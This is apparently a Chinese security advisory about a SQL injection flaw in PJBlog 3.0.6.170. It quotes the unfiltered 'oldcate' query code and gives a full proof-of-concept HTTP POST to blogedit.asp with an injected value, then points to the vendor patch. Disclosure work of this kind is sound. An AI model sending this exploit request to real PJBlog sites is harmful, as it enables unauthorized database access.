PJBlog 3.0.6.170 cls_logAction.asp SQL注入漏洞

程序介绍: PJBlog是一套开源免费的中文个人博客系统程序，采用asp+Access的技术，具有相当高的运作效能以及更新率，也支持目前Blog所使用的新技术。

oldcate=request.form(“oldcate”) //第429行 oldctype=request.form(“oldtype”)

D = conn.execute(“select cate_Part from blog_Category where cate_ID=“&oldcate)(0)

程序没有对变量oldcate做任何过滤放入sql查询语句中，导致注入漏洞的产生。

漏洞利用:

POST /blogedit.asp HTTP/1.1 Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/vnd.ms-excel, application/vnd.ms-powerpoint, / Referer: http://127.0.0.1/blogedit.asp?id=1 Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; .NET CLR 2.0.50727) Host: 127.0.0.1 Content-Length: 513 Connection: Keep-Alive Cache-Control: no-cache Cookie: __utma=96992031.4542583209449947600.1239335726. 1240296350.1240324232.7; __utmz=96992031.1239335726.1.1.utmcsr= (direct)|utmccn=(direct)|utmcmd=(none); PJBlog3Setting=ViewType=normal; PJBlog3=memRight=111111111111&memHashKey= c80f369e20b317566f736dbc70839834745d9c20&memName=admin&exp= 2010%2D4%2D21; ASPSESSIONIDCCDSDABA=OEBBHCODJFKIJEGKGCPHGMCP

id=1&log_editType=1&action=post&log_IsDraft=False&title=xxx&log_CateID= 3&cname=xxx&ctype=0&oldcname=xxx&oldtype=0&oldcate=3201=1&log_weather= sunny&log_Status=level3&log_comorder=1&blog_pws=0&log_Readpw= &log_Pwtips=&c_pws=0&blog_Meta=0&evio_KeyWords=xxx&evio_Description= web+safe&log_From=%E6%9C%AC%E7%AB%99%E5%8E%9F%E5%88%9B& log_FromURL=http%3A%2F%2Flocalhost%2Fbackci%2F&PubTimeType= com&PubTime=2009-4-21+15%3A54%3A46&tags=&UBBfonts=&UBBfonts= &UBBfonts=&UBBmethod=on&Message=web+safe&log_Intro=web+safe&log_Quote=

解决方案: 厂商补丁： PJblog

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://bbs.pjhome.net/thread-52214-1-1.html

信息来源: <*来源: Bug.Center.Team http://www.cnbct.org 链接: http://wavdb.com/vuln/1410 *>